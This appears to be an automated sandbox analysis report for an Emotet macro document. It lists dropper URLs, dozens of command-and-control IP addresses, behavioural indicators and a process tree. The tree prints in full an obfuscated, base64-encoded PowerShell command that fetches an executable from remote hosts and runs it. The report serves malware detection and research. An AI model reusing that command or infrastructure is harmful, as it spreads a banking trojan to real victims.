emotet | 1ded2d7cc228ed55fcd64164252d2a2da11cf10ad774d7315bcccd449336ae72

General

Target
emotet_e3_1ded2d7cc228ed55fcd64164252d2a2da11cf10ad774d7315bcccd449336ae72_2020-08-20__055605._doc.doc
Size 200KB
Sample200820-e772qamcrx
SHA256 1ded2d7cc228ed55fcd64164252d2a2da11cf10ad774d7315bcccd449336ae72
MD5 d3a9c54cb2a9fce0d936a35de3b0167f
SHA1 34d0def1f8729cf489bfc5715f62253298724d33
SHA512 181fbed426ef683dfaa3099027e578caddfcc3f5388041c95c6041d883c1ad93d54dc67cfc53eadf97ef7df6939ec761dbf69af4bc519cbf2443071dd764f2e8
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://cahayu.id/wp-includes/jSi7Fd1r2wtg64969/
exe.dropper
https://anhung1102.vn/wp-admin/LtirUcNdN/
exe.dropper
https://idan-online.co.il/wp-admin/PPf124q2l26832/
exe.dropper
http://www.canfrec.com.mx/4swBvrmkkp/VqcoomQpd/
exe.dropper
http://dhartiproject.mysquare.in/temp/ZJd8p5u49737132/
exe.dropper
https://lokeshullamkecskemet.hu/mail/Jnilw/
exe.dropper
http://armonimalatya.com/dermatomic/77qo1g74024/

Extracted

Family

emotet

C2

173.94.215.84:80
85.25.207.108:8080
178.128.14.92:8080
60.125.114.64:443
181.126.54.234:80
157.7.164.178:8081
95.216.205.155:8080
216.75.37.196:8080
179.62.238.49:80
71.57.180.213:80
172.96.190.154:8080
112.78.142.170:80
178.238.232.46:443
177.144.130.105:443
105.209.235.113:8080
46.105.131.68:8080
185.86.148.68:443
143.95.101.72:8080
75.127.14.170:8080
168.0.97.6:80
181.114.114.203:80
185.208.226.142:8080
201.235.10.215:80
177.32.8.85:80
37.46.129.215:8080
74.208.173.91:8080
190.212.140.6:80
202.5.47.71:80
41.185.29.128:8080
81.214.253.80:443
107.161.30.122:8080
46.32.229.152:8080
5.79.70.250:8080
115.79.195.246:80
113.161.148.81:80
179.5.118.12:80
178.33.167.120:8080
91.83.93.103:443
51.38.201.19:7080
185.142.236.163:443
118.70.15.19:8080
181.134.9.162:80
105.213.67.88:80
217.199.160.224:8080
192.210.217.94:8080
197.249.6.179:443
86.57.216.23:80
86.98.143.163:80
181.113.229.139:443
201.213.177.139:80
195.201.56.70:8080
172.105.78.244:8080
190.190.15.20:80
190.53.144.120:80
139.59.12.63:8080
87.106.231.60:8080
66.61.94.36:80
198.57.203.63:8080
177.37.81.212:443
192.241.220.183:8080
115.78.11.155:80
188.0.135.237:80
78.189.60.109:443
31.146.61.34:80
175.29.183.2:80
203.153.216.178:7080
181.137.229.1:80
188.251.213.180:443
177.94.227.143:80
192.163.221.191:8080
50.116.78.109:8080
197.221.158.162:80
139.99.157.213:8080
77.74.78.80:443
81.17.93.134:80
190.164.75.175:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2324	852	powersheLL.exe	66

Emotet Payload 5 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2776-16-0x0000000000730000-0x000000000073C000-memory.dmp	emotet
behavioral2/memory/2776-16-0x0000000000730000-0x000000000073C000-memory.dmp	emotet
behavioral2/memory/3964-19-0x0000000000520000-0x000000000052C000-memory.dmp	emotet
behavioral2/memory/3964-19-0x0000000000520000-0x000000000052C000-memory.dmp	emotet
behavioral2/memory/2776-21-0x0000000000000000-mapping.dmp	emotet

ServiceHost packer 1 IoCs

Detects ServiceHost packer used for .NET malware

resource	yara_rule
behavioral2/memory/2776-21-0x0000000000000000-mapping.dmp	servicehost

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	2324	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2776	R5mspzm.exe
3964	PortableDeviceApi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\twext\PortableDeviceApi.exe	R5mspzm.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2284	2776	WerFault.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2324	powersheLL.exe
2324	powersheLL.exe
2324	powersheLL.exe
3964	PortableDeviceApi.exe
3964	PortableDeviceApi.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
2284	WerFault.exe
3964	PortableDeviceApi.exe
3964	PortableDeviceApi.exe
3964	PortableDeviceApi.exe
3964	PortableDeviceApi.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	powersheLL.exe
Token: SeRestorePrivilege	2284	WerFault.exe
Token: SeBackupPrivilege	2284	WerFault.exe
Token: SeDebugPrivilege	2284	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
2776	R5mspzm.exe
2776	R5mspzm.exe
3964	PortableDeviceApi.exe
3964	PortableDeviceApi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 2776	2324	powersheLL.exe	76
PID 2324 wrote to memory of 2776	2324	powersheLL.exe	76
PID 2324 wrote to memory of 2776	2324	powersheLL.exe	76
PID 2776 wrote to memory of 3964	2776	R5mspzm.exe	77
PID 2776 wrote to memory of 3964	2776	R5mspzm.exe	77
PID 2776 wrote to memory of 3964	2776	R5mspzm.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_1ded2d7cc228ed55fcd64164252d2a2da11cf10ad774d7315bcccd449336ae72_2020-08-20__055605._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABaAG4AZgA3AG4AYgBrAD0AKAAnAEQAZwA1ACcAKwAnAHUAJwArACcAaQBkADYAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgB0AEUAbQBQAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQByAEkAVAB5AGAAUAByAGAAbwBUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQAUABnAGIAdQB1AHkAcQAgAD0AIAAoACcAUgA1ACcAKwAnAG0AcwBwAHoAbQAnACkAOwAkAEEAMAB2ADcAawBzAGwAPQAoACcARgAnACsAJwBrAHYAYQBkACcAKwAnADIAdgAnACkAOwAkAFYAaABkAGYAZABuAF8APQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmAGkAJwArACcAYwBlADIAMAAxADkAewAwAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUABnAGIAdQB1AHkAcQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWAA0AGEAOQB1AHAAXwA9ACgAJwBJAHYAJwArACcANwAyAGwAMAAyACcAKQA7ACQAUwBqADQAZwB6AHQANQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgBXAEUAQgBjAGwASQBlAG4AVAA7ACQAUwBhAGcAZwBjAG0AYgA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGMAYQBoAGEAeQAnACsAJwB1AC4AaQBkAC8AdwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AagBTAGkANwBGAGQAMQByADIAJwArACcAdwB0AGcANgAnACsAJwA0ADkANgA5AC8AKgBoAHQAJwArACcAdABwAHMAOgAvAC8AJwArACcAYQBuAGgAJwArACcAdQBuAGcAJwArACcAMQAxACcAKwAnADAAMgAuAHYAbgAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAEwAdABpAHIAVQBjACcAKwAnAE4AZABOAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AaQBkACcAKwAnAGEAbgAtAG8AbgAnACsAJwBsAGkAbgAnACsAJwBlAC4AYwBvAC4AaQBsAC8AdwBwAC0AYQBkAG0AJwArACcAaQBuAC8AJwArACcAUABQAGYAMQAyADQAcQAyAGwAMgA2ADgAMwAnACsAJwAyAC8AKgBoAHQAJwArACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYwBhAG4AZgByAGUAYwAuAGMAbwBtACcAKwAnAC4AJwArACcAbQB4AC8ANABzAHcAQgB2AHIAbQBrAGsAcAAnACsAJwAvAFYAcQBjAG8AbwBtAFEAcABkAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKwAnAGQAaABhAHIAdABpAHAAcgBvAGoAZQBjAHQALgBtAHkAJwArACcAcwAnACsAJwBxAHUAYQByAGUALgAnACsAJwBpAG4ALwB0ACcAKwAnAGUAbQBwAC8AWgBKAGQAOABwADUAdQA0ADkANwAzADcAMQAnACsAJwAzADIALwAnACsAJwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBsAG8AawBlAHMAaAAnACsAJwB1AGwAJwArACcAbABhACcAKwAnAG0AawAnACsAJwBlAGMAJwArACcAcwAnACsAJwBrAGUAbQBlAHQALgBoAHUALwBtACcAKwAnAGEAaQAnACsAJwBsAC8ASgBuAGkAbAB3AC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvAGEAcgBtACcAKwAnAG8AJwArACcAbgBpAG0AJwArACcAYQAnACsAJwBsAGEAJwArACcAdAB5AGEALgBjACcAKwAnAG8AbQAnACsAJwAvAGQAZQByACcAKwAnAG0AYQB0AG8AJwArACcAbQBpAGMALwA3ACcAKwAnADcAcQAnACsAJwBvACcAKwAnADEAZwA3ADQAMAAyADQAJwArACcALwAnACkALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQA0ADYAcAByAHAAXwA9ACgAJwBXAG4AbgA5ACcAKwAnAHQAJwArACcANQBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAeQBxAHUAbwBpAHcAIABpAG4AIAAkAFMAYQBnAGcAYwBtAGIAKQB7AHQAcgB5AHsAJABTAGoANABnAHoAdAA1AC4AIgBkAE8AdwBgAE4AbABvAGEARABgAEYAaQBsAGUAIgAoACQAQwB5AHEAdQBvAGkAdwAsACAAJABWAGgAZABmAGQAbgBfACkAOwAkAEcAdQB1AHgAeQBwADQAPQAoACcAWgAnACsAJwBiAHQAMQB4AHUAJwArACcAZQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVgBoAGQAZgBkAG4AXwApAC4AIgBsAEUAbgBgAEcAVABoACIAIAAtAGcAZQAgADIANQAwADEAMQApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABWAGgAZABmAGQAbgBfACkAOwAkAEgAXwBsADgAZwBsAHMAPQAoACcASgAnACsAJwBjAGcAYwBiAF8AcwAnACkAOwBiAHIAZQBhAGsAOwAkAFkAcgAyAG8AZQB4AHgAPQAoACcARgBxAHAANwBqAGEAJwArACcAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABqADYAYwBhAGQAPQAoACcAQgA1AGsAJwArACcAbQB3AHUAOQAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\SysWOW64\twext\PortableDeviceApi.exe
    "C:\Windows\SysWOW64\twext\PortableDeviceApi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3964
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2776 -s 376
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2284-22-0x00000000050F0000-0x00000000050F1000-memory.dmp

Download

memory/2284-20-0x00000000049C0000-0x00000000049C1000-memory.dmp

Download

memory/2324-11-0x00000158A88F0000-0x00000158A88F1000-memory.dmp

Download

memory/2324-12-0x00000158A8AA0000-0x00000158A8AA1000-memory.dmp

Download

memory/2324-10-0x00007FFCC77C0000-0x00007FFCC81AC000-memory.dmp

Download

memory/2776-16-0x0000000000730000-0x000000000073C000-memory.dmp

Download

memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/3488-5-0x000001CB57168000-0x000001CB5717B000-memory.dmp

Download

memory/3964-19-0x0000000000520000-0x000000000052C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads